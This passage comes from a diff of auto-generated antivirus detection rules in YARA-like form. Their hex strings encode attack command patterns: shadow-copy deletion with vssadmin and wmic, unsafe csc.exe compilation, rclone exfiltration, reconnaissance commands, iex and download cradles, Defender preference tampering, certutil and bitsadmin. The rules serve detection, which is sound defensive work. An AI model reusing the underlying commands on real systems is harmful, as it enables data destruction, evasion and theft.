1)*72+(#a_00_6 & 1)*48) >=6 } -rule _InfrastructureShared_26009{ +rule _InfrastructureShared_27369{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 03 00 21 " @@ -340534,7 +358156,7 @@ rule _InfrastructureShared_26009{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*45+(#a_00_2 & 1)*111) >=11 } -rule _InfrastructureShared_26010{ +rule _InfrastructureShared_27370{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 02 00 05 00 21 " @@ -340546,7 +358168,7 @@ rule _InfrastructureShared_26010{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*105+(#a_02_3 & 1)*108) >=2 } -rule _InfrastructureShared_26011{ +rule _InfrastructureShared_27371{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 07 00 21 " @@ -340554,12 +358176,26 @@ rule _InfrastructureShared_26011{ $a_46_0 = {57 69 6e 33 32 2f 53 75 73 70 53 68 61 64 6f 77 44 65 6c 65 74 65 2e 43 00 02 00 42 00 76 00 73 00 73 00 61 00 64 00 6d 00 69 00 6e 00 2e 00 65 00 78 00 65 00 20 00 72 00 65 00 73 00 69 00 7a 00 65 00 20 00 73 00 68 00 61 00 64 } //21283 $a_00_2 = {6f 00 72 00 61 00 67 00 65 00 02 00 3a 00 76 00 73 00 73 00 61 00 64 00 6d 00 69 00 6e 00 20 00 72 00 65 00 73 00 69 00 7a 00 65 00 20 00 73 00 68 00 61 00 64 00 6f 00 77 00 73 00 74 00 6f 00 72 00 61 00 67 00 65 00 f6 ff 24 00 2f 00 6d 00 61 00 78 00 73 00 69 00 7a 00 65 00 3d 00 55 00 4e 00 42 00 4f 00 55 00 4e 00 44 00 45 00 44 00 f6 ff 08 00 } //115 $a_00_3 = {3f 00 00 00 f6 ff 08 00 20 00 2d 00 3f 00 00 00 f6 ff 2c 00 45 00 6e 00 61 00 62 00 6c 00 65 00 2d 00 43 00 6f 00 6d 00 70 00 75 00 74 00 65 } //32 - $a_00_5 = {74 00 6f 00 72 00 65 00 f6 ff 40 00 53 00 65 00 74 00 2d 00 45 00 78 00 65 00 63 00 75 00 74 00 69 00 6f 00 6e 00 50 00 6f 00 6c 00 69 00 63 00 79 00 20 00 52 00 65 00 6d 00 6f 00 74 00 65 00 53 00 69 00 67 00 6e 00 65 00 64 00 00 00 d7 74 01 00 03 00 02 00 07 00 21 23 53 4c 46 3a 53 69 6d 54 6f 6f 6c 4c 61 75 6e 63 68 2e 42 00 03 00 32 00 63 } //101 + $a_00_5 = {74 00 6f 00 72 00 65 00 f6 ff 40 00 53 00 65 00 74 00 2d 00 45 00 78 00 65 00 63 00 75 00 74 00 69 00 6f 00 6e 00 50 00 6f 00 6c 00 69 00 63 00 79 00 20 00 52 00 65 00 6d 00 6f 00 74 00 65 00 53 00 69 00 67 00 6e 00 65 00 64 00 00 00 d7 65 01 00 29 00 29 00 08 00 21 23 53 4c 46 3a 57 69 6e 33 32 2f 43 73 63 55 6e 73 61 66 65 43 6f 6d 70 69 6c } //101 + $a_00_6 = {0a 00 0e 00 63 00 73 00 63 00 2e 00 65 00 78 00 65 00 0a 00 12 00 20 00 2f 00 75 00 6e 00 73 00 61 00 66 00 65 00 20 00 0a 00 5a 00 20 00 2f 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 } //11877 condition: - ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*115+(#a_00_3 & 1)*32+(#a_00_5 & 1)*101) >=2 + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*115+(#a_00_3 & 1)*32+(#a_00_5 & 1)*101+(#a_00_6 & 1)*11877) >=2 } -rule _InfrastructureShared_26012{ +rule _InfrastructureShared_27372{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,29 00 29 00 08 00 21 " + + strings : + $a_46_0 = {57 69 6e 33 32 2f 43 73 63 55 6e 73 61 66 65 43 6f 6d 70 69 6c 65 2e 41 00 0a 00 0e 00 63 00 73 00 63 00 2e 00 65 00 78 00 65 00 0a 00 12 00 20 00 2f 00 75 00 6e 00 73 00 61 00 66 00 65 00 20 00 0a 00 5a 00 20 00 2f 00 72 00 65 } //21283 + $a_00_2 = {6e 00 63 00 65 00 3a 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 4d 00 61 00 6e 00 61 00 67 00 65 00 6d 00 65 00 6e 00 74 00 2e 00 41 00 75 00 74 00 6f 00 6d 00 61 00 74 00 69 00 6f 00 6e 00 2e 00 64 00 6c 00 6c 00 20 00 0a 00 0c 00 20 00 2f 00 6f 00 75 00 74 00 3a 00 01 00 1c 00 20 00 2f 00 70 00 6c } //114 + $a_00_4 = {72 00 6d 00 3a 00 78 00 38 00 36 00 01 00 1c 00 20 00 2f 00 70 00 6c 00 61 00 74 00 66 00 6f 00 72 00 6d 00 3a 00 78 00 36 00 34 00 01 00 22 00 20 00 2f 00 70 00 6c 00 61 00 74 00 66 00 6f 00 72 00 6d 00 3a 00 61 00 6e 00 79 00 63 00 70 00 75 00 01 00 3e 00 20 00 2f 00 70 00 6c 00 61 00 74 00 66 00 6f 00 72 00 6d 00 3a 00 61 00 6e } //102 + $a_00_6 = {33 00 32 00 62 00 69 00 74 00 70 00 72 00 65 00 66 00 65 00 72 00 72 00 65 00 64 00 00 00 d7 74 01 00 03 00 02 00 07 00 21 23 53 4c 46 3a 53 69 6d 54 6f 6f 6c 4c 61 75 6e 63 68 2e 42 00 03 00 32 00 63 00 79 00 6d 00 75 00 6c 00 61 00 74 00 65 00 66 00 69 00 6c 00 65 00 64 00 65 00 63 00 72 00 79 00 70 00 74 00 6f 00 72 00 2e 00 65 00 78 00 65 00 03 } //112 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*114+(#a_00_4 & 1)*102+(#a_00_6 & 1)*112) >=41 + +} +rule _InfrastructureShared_27373{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 02 00 07 00 21 " @@ -340567,12 +358203,28 @@ rule _InfrastructureShared_26012{ $a_46_0 = {53 69 6d 54 6f 6f 6c 4c 61 75 6e 63 68 2e 42 00 03 00 32 00 63 00 79 00 6d 00 75 00 6c 00 61 00 74 00 65 00 66 00 69 00 6c 00 65 00 64 00 65 00 63 00 72 00 79 00 70 00 74 00 6f 00 72 00 2e 00 65 00 78 00 65 00 03 00 3e 00 63 00 } //21283 $a_00_1 = {75 00 6c 00 61 00 74 00 65 00 65 00 64 00 72 00 73 00 63 00 65 00 6e 00 61 00 72 00 69 00 6f 00 65 00 78 00 65 00 63 00 75 00 74 00 6f 00 72 00 2e 00 65 00 78 00 65 00 03 00 22 00 63 00 79 00 6d 00 75 00 6c 00 61 00 74 00 65 00 61 00 67 00 65 00 6e 00 74 00 2e 00 65 00 78 00 65 00 03 00 28 00 63 00 79 00 6d 00 75 00 6c 00 61 } //121 $a_00_3 = {65 00 76 00 61 00 74 00 65 00 64 00 2e 00 65 00 78 00 65 00 03 00 26 00 72 00 65 00 64 00 74 00 65 00 61 00 6d 00 65 00 78 00 65 00 63 00 75 00 74 00 6f 00 72 00 2e 00 65 00 78 00 65 00 03 00 30 00 63 00 79 00 6d 00 75 00 6c 00 61 00 74 00 65 00 61 00 67 00 65 00 6e 00 74 00 75 00 70 00 64 00 61 00 74 00 65 00 72 00 2e 00 } //101 - $a_00_4 = {65 00 03 00 2a 00 63 00 79 00 6d 00 75 00 6c 00 61 00 74 00 65 00 5c 00 65 00 64 00 72 00 5f 00 61 00 74 00 74 00 61 00 63 00 6b 00 73 00 5c 00 00 00 d7 01 02 00 03 00 03 00 0d 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 52 63 6c 6f 6e 65 2e 53 45 00 01 00 0c 00 72 00 63 00 6c 00 6f 00 6e 00 65 00 01 00 0c 00 20 00 63 00 6f 00 70 00 79 } //101 + $a_00_4 = {65 00 03 00 2a 00 63 00 79 00 6d 00 75 00 6c 00 61 00 74 00 65 00 5c 00 65 00 64 00 72 00 5f 00 61 00 74 00 74 00 61 00 63 00 6b 00 73 00 5c 00 00 00 d7 b5 01 00 33 00 33 00 09 00 21 23 53 4c 46 3a 57 69 6e 33 32 2f 53 75 73 70 43 73 63 55 6e 73 61 66 65 43 6f 6d 70 69 6c 65 49 6e 54 65 6d 70 2e 41 00 0a 00 0e 00 63 00 73 00 63 00 2e 00 65 00 78 00 65 00 0a } //101 + $a_00_6 = {6e 00 73 00 61 00 66 00 65 00 20 00 0a 00 5a 00 20 00 2f 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 3a 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 4d 00 61 00 6e 00 61 00 67 00 65 00 6d 00 65 00 6e 00 74 00 2e 00 41 00 75 00 74 00 6f 00 6d 00 61 00 74 00 69 00 6f 00 6e 00 2e 00 64 00 6c 00 6c 00 20 00 0a 00 0c 00 20 00 2f 00 6f 00 75 } //47 condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*121+(#a_00_3 & 1)*101+(#a_00_4 & 1)*101) >=2 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*121+(#a_00_3 & 1)*101+(#a_00_4 & 1)*101+(#a_00_6 & 1)*47) >=2 } -rule _InfrastructureShared_26013{ +rule _InfrastructureShared_27374{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,33 00 33 00 09 00 21 " + + strings : + $a_46_0 = {57 69 6e 33 32 2f 53 75 73 70 43 73 63 55 6e 73 61 66 65 43 6f 6d 70 69 6c 65 49 6e 54 65 6d 70 2e 41 00 0a 00 0e 00 63 00 73 00 63 00 2e 00 65 00 78 00 65 00 0a 00 12 00 20 00 2f 00 75 00 6e 00 73 00 61 00 66 00 65 00 20 00 0a } //21283 + $a_00_2 = {65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 3a 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 4d 00 61 00 6e 00 61 00 67 00 65 00 6d 00 65 00 6e 00 74 00 2e 00 41 00 75 00 74 00 6f 00 6d 00 61 00 74 00 69 00 6f 00 6e 00 2e 00 64 00 6c 00 6c 00 20 00 0a 00 0c 00 20 00 2f 00 6f 00 75 00 74 00 3a 00 0a 00 42 00 20 00 43 00 3a 00 5c 00 55 00 } //47 + $a_00_3 = {72 00 73 00 5c 00 90 00 02 00 20 00 5c 00 41 00 70 00 70 00 44 00 61 00 74 00 61 00 5c 00 4c 00 6f 00 63 00 61 00 6c 00 5c 00 54 00 65 00 6d 00 70 00 5c 00 01 00 1c 00 20 00 2f 00 70 00 6c 00 61 00 74 00 66 00 6f 00 72 00 6d 00 3a 00 78 00 38 00 36 00 01 00 1c 00 20 00 2f 00 70 00 6c 00 61 00 74 00 66 } //115 + $a_00_5 = {78 00 36 00 34 00 01 00 22 00 20 00 2f 00 70 00 6c 00 61 00 74 00 66 00 6f 00 72 00 6d 00 3a 00 61 00 6e 00 79 00 63 00 70 00 75 00 01 00 3e 00 20 00 2f 00 70 00 6c 00 61 00 } //109 + $a_00_6 = {6f 00 72 00 6d 00 3a 00 61 00 6e 00 79 00 63 00 70 00 75 00 33 00 32 00 62 00 69 00 74 00 70 00 72 00 65 00 66 00 65 00 72 00 72 00 65 00 64 00 00 00 d7 01 02 00 03 00 03 00 0d 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 52 63 6c 6f 6e 65 2e 53 45 00 01 00 0c 00 72 00 63 00 6c 00 6f } //116 + $a_00_8 = {20 00 63 00 6f 00 70 00 79 00 20 00 } //1 copy + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*47+(#a_00_3 & 1)*115+(#a_00_5 & 1)*109+(#a_00_6 & 1)*116+(#a_00_8 & 1)*1) >=51 + +} +rule _InfrastructureShared_27375{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 0d 00 21 " @@ -340581,15 +358233,29 @@ rule _InfrastructureShared_26013{ $a_00_2 = {38 ff 54 00 2d 00 2d 00 75 00 73 00 65 00 72 00 2d 00 61 00 67 00 65 00 6e 00 74 00 20 00 22 00 69 00 73 00 76 00 7c 00 72 00 63 00 6c 00 6f 00 6e 00 65 00 2e 00 6f 00 72 00 67 00 7c 00 72 00 63 00 6c 00 6f 00 6e 00 65 00 2f 00 31 00 2e 00 35 00 35 00 2e 00 31 00 38 ff 1c 00 5c 00 67 00 73 00 6c 00 5c } //120 $a_00_4 = {73 00 79 00 6e 00 63 00 3a 00 38 ff 14 00 2d 00 2d 00 6c 00 6f 00 67 00 2d 00 66 00 69 00 6c 00 65 00 38 ff 2c 00 74 00 68 00 65 00 72 00 61 00 70 00 65 00 75 00 74 00 69 00 63 00 20 00 67 00 75 00 69 00 64 00 65 00 6c 00 69 00 6e 00 65 00 73 00 38 ff 24 00 67 00 69 00 6e 00 65 00 73 00 79 00 73 00 66 } //108 $a_00_6 = {74 00 6f 00 72 00 61 00 67 00 65 00 38 ff 30 00 64 00 65 00 6c 00 6c 00 66 00 69 00 6c 00 65 00 74 00 72 00 61 00 6e 00 73 00 66 00 65 00 72 00 75 00 74 00 69 00 6c 00 2e 00 65 00 78 00 65 00 38 ff 20 00 61 00 65 00 67 00 69 00 73 00 5c 00 68 00 62 00 72 00 63 00 6c 00 69 00 65 00 6e 00 74 00 5c 00 38 ff 40 00 5c 00 67 00 61 00 6d 00 65 00 73 } //101 - $a_00_8 = {61 00 72 00 6d 00 67 00 64 00 64 00 6e 00 20 00 62 00 72 00 6f 00 77 00 73 00 65 00 72 00 5c 00 61 00 67 00 2e 00 65 00 78 00 65 00 38 ff 16 00 72 00 73 00 79 00 6d 00 64 00 72 00 76 00 2e 00 65 00 78 00 65 00 00 00 d7 2c 02 00 0b 00 0b 00 08 00 21 23 53 4c 46 3a 54 72 6f 6a } //114 - $a_57_9 = {6e 33 32 2f 53 68 61 64 6f 77 43 6f 70 79 2e 41 21 67 70 6f 00 0b 00 32 02 76 00 73 00 73 00 61 00 64 00 6d 00 69 00 6e 00 90 02 10 64 00 65 00 6c 00 65 00 74 00 65 00 90 02 } //28257 - $a_00_11 = {6f 00 77 00 73 00 90 00 0b 00 30 02 77 00 6d 00 69 00 63 00 90 02 10 73 00 68 00 61 00 64 00 6f 00 77 00 63 00 6f 00 70 00 79 00 90 02 10 64 00 65 00 6c 00 65 00 74 00 65 00 90 00 0b 00 30 02 77 00 62 00 61 00 64 00 6d 00 69 00 6e 00 90 02 10 64 00 65 00 6c 00 65 00 74 00 65 00 90 02 10 63 00 61 00 } //97 - $a_00_12 = {6c 00 6f 00 67 00 90 00 0b 00 54 02 62 00 63 00 64 00 65 00 64 00 69 00 74 00 90 02 10 2f 00 73 00 65 00 74 00 90 02 10 64 00 65 00 66 00 61 00 75 00 6c 00 74 00 90 02 10 72 00 65 00 63 00 6f 00 76 00 65 00 72 00 79 00 65 00 6e 00 61 00 62 00 6c 00 65 00 64 00 90 02 10 6e 00 6f 00 90 00 0b } //116 + $a_00_8 = {61 00 72 00 6d 00 67 00 64 00 64 00 6e 00 20 00 62 00 72 00 6f 00 77 00 73 00 65 00 72 00 5c 00 61 00 67 00 2e 00 65 00 78 00 65 00 38 ff 16 00 72 00 73 00 79 00 6d 00 64 00 72 00 76 00 2e 00 65 00 78 00 65 00 00 00 d7 0b 02 00 3d 00 3d 00 0a 00 21 23 53 4c 46 3a 57 69 6e 33 } //114 + $a_75_9 = {70 43 73 63 55 6e 73 61 66 65 43 6f 6d 70 69 6c 65 49 6e 54 65 6d 70 2e 42 00 0a 00 0e 00 63 00 73 00 63 00 2e 00 65 00 78 00 65 00 0a 00 12 00 20 00 2f 00 75 00 6e 00 73 00 61 00 66 00 65 00 20 00 0a 00 5a 00 20 00 2f 00 72 00 65 00 66 00 65 00 72 } //12082 + $a_00_11 = {3a 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 4d 00 61 00 6e 00 61 00 67 00 65 00 6d 00 65 00 6e 00 74 00 2e 00 41 00 75 00 74 00 6f 00 6d 00 61 00 74 00 69 00 6f 00 6e 00 2e 00 64 00 6c 00 6c 00 20 00 0a 00 0c 00 20 00 2f 00 6f 00 75 00 74 00 3a 00 0a 00 42 00 20 00 43 00 3a 00 5c 00 55 00 73 00 65 } //99 condition: - ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*120+(#a_00_4 & 1)*108+(#a_00_6 & 1)*101+(#a_00_8 & 1)*114+(#a_57_9 & 1)*28257+(#a_00_11 & 1)*97+(#a_00_12 & 1)*116) >=3 + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*120+(#a_00_4 & 1)*108+(#a_00_6 & 1)*101+(#a_00_8 & 1)*114+(#a_75_9 & 1)*12082+(#a_00_11 & 1)*99) >=3 } -rule _InfrastructureShared_26014{ +rule _InfrastructureShared_27376{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,3d 00 3d 00 0a 00 21 " + + strings : + $a_46_0 = {57 69 6e 33 32 2f 53 75 73 70 43 73 63 55 6e 73 61 66 65 43 6f 6d 70 69 6c 65 49 6e 54 65 6d 70 2e 42 00 0a 00 0e 00 63 00 73 00 63 00 2e 00 65 00 78 00 65 00 0a 00 12 00 20 00 2f 00 75 00 6e 00 73 00 61 00 66 00 65 00 20 00 0a } //21283 + $a_00_2 = {65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 3a 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 4d 00 61 00 6e 00 61 00 67 00 65 00 6d 00 65 00 6e 00 74 00 2e 00 41 00 75 00 74 00 6f 00 6d 00 61 00 74 00 69 00 6f 00 6e 00 2e 00 64 00 6c 00 6c 00 20 00 0a 00 0c 00 20 00 2f 00 6f 00 75 00 74 00 3a 00 0a 00 42 00 20 00 43 00 3a 00 5c 00 55 00 } //47 + $a_00_3 = {72 00 73 00 5c 00 90 00 02 00 20 00 5c 00 41 00 70 00 70 00 44 00 61 00 74 00 61 00 5c 00 4c 00 6f 00 63 00 61 00 6c 00 5c 00 54 00 65 00 6d 00 70 00 5c 00 0a 00 52 00 20 00 2f 00 6f 00 75 00 74 00 3a 00 90 00 02 00 02 00 43 00 3a 00 5c 00 55 00 73 00 65 00 72 00 73 00 5c 00 90 00 02 00 20 00 5c 00 41 } //115 + $a_00_5 = {74 00 61 00 5c 00 4c 00 6f 00 63 00 61 00 6c 00 5c 00 54 00 65 00 6d 00 70 00 5c 00 01 00 1c 00 20 00 2f 00 70 00 6c 00 61 00 74 00 66 00 6f 00 72 00 6d 00 3a 00 78 00 38 00 36 00 01 00 1c 00 20 00 2f 00 70 00 6c 00 61 00 74 00 66 00 6f 00 72 00 6d 00 3a 00 78 00 36 00 34 00 01 00 22 00 20 } //68 + $a_00_7 = {74 00 66 00 6f 00 72 00 6d 00 3a 00 61 00 6e 00 79 00 63 00 70 00 75 00 01 00 3e 00 20 00 2f 00 70 00 6c 00 61 00 74 00 66 00 6f 00 72 00 6d 00 3a 00 61 00 6e 00 79 00 63 00 70 00 75 00 33 00 32 00 62 00 69 00 74 00 70 00 72 00 65 00 66 00 65 00 72 00 72 00 65 00 64 00 00 00 d7 2c 02 00 0b } //108 + $a_53_9 = {46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 68 61 64 6f 77 43 6f 70 79 2e 41 21 67 70 6f 00 0b 00 32 } //8448 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*47+(#a_00_3 & 1)*115+(#a_00_5 & 1)*68+(#a_00_7 & 1)*108+(#a_53_9 & 1)*8448) >=61 + +} +rule _InfrastructureShared_27377{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 08 00 21 " @@ -340603,7 +358269,51 @@ rule _InfrastructureShared_26014{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*111+(#a_02_3 & 1)*116+(#a_69_5 & 1)*656+(#a_00_6 & 1)*102) >=11 } -rule _InfrastructureShared_26015{ +rule _InfrastructureShared_27378{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,65 00 65 00 2e 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 53 45 00 64 00 04 00 68 74 74 70 01 00 08 00 2e 00 74 00 6f 00 70 00 01 00 08 00 2e 00 62 00 69 00 7a 00 01 00 0a 00 2e 00 69 00 6e 00 66 00 6f 00 01 00 0a 00 2e } //21283 + $a_00_2 = {01 00 0a 00 2e 00 6c 00 6f 00 61 00 6e 00 01 00 0e 00 2e 00 72 00 65 00 76 00 69 00 65 00 77 00 01 00 0a 00 2e 00 77 00 6f 00 72 00 6b 00 01 00 0e 00 2e 00 73 00 74 00 72 00 65 00 61 00 6d 00 01 00 0a 00 2e 00 63 00 6c 00 75 00 62 00 01 00 0c 00 2e 00 70 00 61 00 72 00 74 00 79 00 01 00 0c 00 2e 00 73 00 74 00 75 00 64 } //110 + $a_00_5 = {63 00 68 00 6e 00 6f 00 6c 00 6f 00 67 00 79 00 01 00 08 00 2e 00 67 00 64 00 6e 00 01 00 0c 00 2e 00 72 00 65 00 69 00 73 00 65 00 01 00 12 00 2e 00 79 00 6f 00 6b 00 6f 00 68 00 61 00 6d 00 61 00 01 00 08 00 2e 00 76 00 69 00 70 00 01 00 08 00 2e 00 72 00 65 00 6e 00 01 00 10 00 2e 00 63 00 6f 00 75 } //116 + $a_00_7 = {01 00 12 00 2e 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 01 00 0e 00 2e 00 72 00 61 00 63 00 69 00 6e 00 67 00 01 00 10 00 2e 00 73 00 63 00 69 00 65 00 6e 00 63 00 65 00 01 00 0a 00 2e 00 73 00 68 00 6f 00 70 00 01 00 08 00 2e 00 78 00 79 00 7a 00 01 00 08 00 2e 00 69 00 63 00 75 00 01 00 08 00 2e 00 6c 00 61 00 74 00 01 00 08 00 2e 00 66 00 75 00 6e } //114 + $a_00_10 = {01 00 0a 00 2e 00 6c 00 69 00 76 00 65 00 01 00 0a 00 2e 00 6c 00 69 00 66 00 65 00 01 00 0e 00 2e 00 6f 00 6e 00 6c 00 69 00 6e 00 65 00 01 00 0a 00 2e 00 62 00 6f 00 6e 00 64 00 01 00 0c 00 2e 00 77 00 6f 00 72 00 6c 00 64 00 01 00 0c 00 2e 00 63 00 6c 00 69 00 63 00 6b 00 01 00 0e 00 2e 00 66 00 6f 00 72 00 65 00 73 00 74 00 01 00 08 00 2e 00 } //101 + $a_00_11 = {33 00 01 00 08 00 2e 00 6d 00 70 00 34 00 01 00 08 00 2e 00 66 00 6c 00 76 00 01 00 08 00 2e 00 6d 00 64 00 62 00 01 00 08 00 2e 00 65 00 70 00 73 00 01 00 08 00 2e 00 64 00 61 00 74 00 01 00 08 00 2e 00 63 00 64 00 61 00 01 00 08 00 2e 00 6d 00 34 00 61 00 01 00 08 00 2e 00 78 00 6c 00 6c 00 01 00 10 00 2e 00 64 00 69 00 67 00 69 00 } //109 + $a_00_12 = {6c 00 01 00 10 00 2e 00 63 00 75 00 6c 00 74 00 75 00 72 00 65 00 00 00 d7 1b 03 00 0a 00 0a 00 1a 00 21 23 54 45 4c 50 45 52 3a 43 4d 44 3a 57 69 6e 33 32 2f 50 6f 73 6d 61 67 69 6e 65 2e 41 00 0a 00 0c 00 77 00 68 00 6f 00 61 00 6d 00 69 00 0a 00 10 00 6e 00 65 00 74 00 20 00 75 00 73 00 } //116 + $a_00_13 = {0a 00 32 00 6c 00 6f 00 63 00 61 00 6c 00 67 00 72 00 6f 00 75 00 70 00 20 00 61 00 64 00 6d 00 69 00 6e 00 69 00 73 00 74 00 72 00 61 00 74 00 6f 00 72 00 73 00 0a 00 0e 00 64 00 73 00 71 00 75 00 65 00 72 00 79 00 0a 00 1e 00 73 00 61 00 6d 00 61 00 63 00 63 00 6f 00 75 00 6e 00 74 00 6e 00 61 00 6d 00 65 00 3d 00 0a 00 0c 00 20 00 65 00 } //101 + $a_00_14 = {6f 00 20 00 0a 00 1a 00 71 00 75 00 65 00 72 00 79 00 20 00 73 00 65 00 73 00 73 00 69 00 6f 00 6e 00 0a 00 1c 00 61 00 64 00 73 00 63 00 72 00 65 00 64 00 65 00 6e 00 74 00 69 00 61 00 6c 00 73 00 0a 00 30 00 6f 00 33 00 36 00 35 00 61 00 63 00 63 00 6f 00 75 00 6e 00 74 00 63 00 6f 00 6e 00 66 00 69 00 67 00 } //99 + $a_00_15 = {61 00 74 00 69 00 6f 00 6e 00 0a 00 12 00 2d 00 64 00 75 00 6d 00 70 00 6d 00 6f 00 64 00 65 00 0a 00 08 00 2d 00 73 00 73 00 68 00 0a 00 14 00 75 00 73 00 6f 00 70 00 72 00 69 00 76 00 61 00 74 00 65 00 0a 00 12 00 75 00 73 00 6f 00 73 00 68 00 61 00 72 00 65 00 64 00 0a 00 22 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 45 00 78 00 70 00 } //117 + $a_00_16 = {73 00 73 00 69 00 6f 00 6e 00 0a 00 1c 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 0a 00 18 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 46 00 69 00 6c 00 65 00 0a 00 20 00 46 00 72 00 6f 00 6d 00 42 00 61 00 73 00 65 00 36 00 34 00 53 00 74 00 72 00 69 } //114 + $a_00_18 = {53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 49 00 4f 00 2e 00 43 00 6f 00 6d 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 } //10 System.IO.Compression + $a_00_19 = {53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 49 00 4f 00 2e 00 4d 00 65 00 6d 00 6f 00 72 00 79 00 53 00 74 00 72 00 65 00 61 00 6d 00 } //10 System.IO.MemoryStream + $a_00_20 = {69 00 65 00 78 00 20 00 } //10 iex + $a_00_21 = {69 00 65 00 78 00 28 00 } //10 iex( + $a_00_22 = {49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 57 00 65 00 62 00 52 00 65 00 71 00 75 00 65 00 73 00 74 00 } //10 Invoke-WebRequest + $a_00_23 = {73 00 65 00 74 00 2d 00 4d 00 70 00 50 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 } //10 set-MpPreference + $a_00_24 = {61 00 64 00 64 00 2d 00 4d 00 70 00 50 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 } //10 add-MpPreference + $a_00_25 = {63 00 65 00 72 00 74 00 75 00 74 00 69 00 6c 00 } //10 certutil + $a_00_26 = {62 00 69 00 74 00 73 00 61 00 64 00 6d 00 69 00 6e 00 } //10 bitsadmin + $a_5d_27 = {00 01 00 01 00 11 00 21 23 53 4c 46 3a 57 69 6e 33 32 2f 53 75 73 70 50 73 45 78 65 63 50 72 6f 63 2e 42 00 01 00 0a 00 2e 00 65 00 78 00 65 00 00 00 9c ff 24 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 44 00 65 00 66 00 65 00 6e 00 64 00 65 00 72 00 5c 00 9c ff 1c 00 5c 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 46 00 69 00 6c 00 65 00 73 00 9c ff 28 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 41 00 70 00 70 00 73 00 5c 00 9c ff 24 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 4f 00 66 00 66 00 69 00 63 00 65 00 5c 00 9c ff 3a 00 5c 00 57 00 69 } //0 + $a_00_29 = {73 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 73 00 76 00 63 00 68 00 6f 00 73 00 74 00 2e 00 65 00 78 00 65 00 9c ff 4a 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 43 00 6f 00 6d 00 70 00 61 00 74 00 54 00 65 00 6c 00 52 00 75 00 6e 00 6e 00 65 00 72 00 2e 00 65 00 78 } //111 + $a_00_31 = {57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 64 00 6c 00 6c 00 68 00 6f 00 73 00 74 00 2e 00 65 00 78 00 65 00 9c ff 50 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 } //58 + $a_00_32 = {53 00 65 00 61 00 72 00 63 00 68 00 50 00 72 00 6f 00 74 00 6f 00 63 00 6f 00 6c 00 48 00 6f 00 73 00 74 00 2e 00 65 00 78 00 65 00 9c ff 50 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 53 00 65 00 63 00 75 00 } //50 + $a_00_33 = {74 00 79 00 48 00 65 00 61 00 6c 00 74 00 68 00 48 00 6f 00 73 00 74 00 2e 00 65 00 78 00 65 00 9c ff 34 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 53 00 79 00 73 00 74 